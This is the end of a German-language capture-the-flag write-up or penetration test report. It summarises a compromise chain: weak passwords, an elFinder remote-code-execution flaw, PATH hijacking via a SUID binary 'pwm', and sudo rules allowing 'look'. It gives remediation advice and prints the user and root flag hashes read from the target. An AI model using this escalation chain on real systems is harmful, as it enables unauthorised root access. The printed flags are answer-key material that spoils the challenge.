Ergebnis: Root-Shell.

Beweismittel: Erfolgreicher Root-Login, Lesen von `/root/root.txt` möglich.

Risikobewertung: Sehr hoch. Eine Kette aus schwachen Passwörtern, einer bekannten Webanwendungs-Schwachstelle (elFinder RCE), einer unsicheren SUID-Binary mit Path-Hijacking-Potenzial und unsicheren `sudo`-Regeln ermöglicht die vollständige Kompromittierung.

Empfehlungen:** * **Admin:** Starke Passwörter erzwingen. elFinder patchen/entfernen. SUID-Binary `pwm` sichern (Pfad zu `id` fixen, SUID/SGID entfernen falls möglich) oder entfernen. `.passwords`-Datei löschen, sichere Passwortspeicherung nutzen. `sudo`-Regeln drastisch einschränken (kein `look`). Root-Login per SSH idealerweise deaktivieren. * **Pentester:** Die einzelnen Eskalationspfade und Schwachstellen klar dokumentieren.

Flags

cat /home/think/user.txt
38375fb4dd8baa2b2039ac03d92b820e
cat /root/root.txt
5a285a9f257e45c68bb6c9f9f57d18e8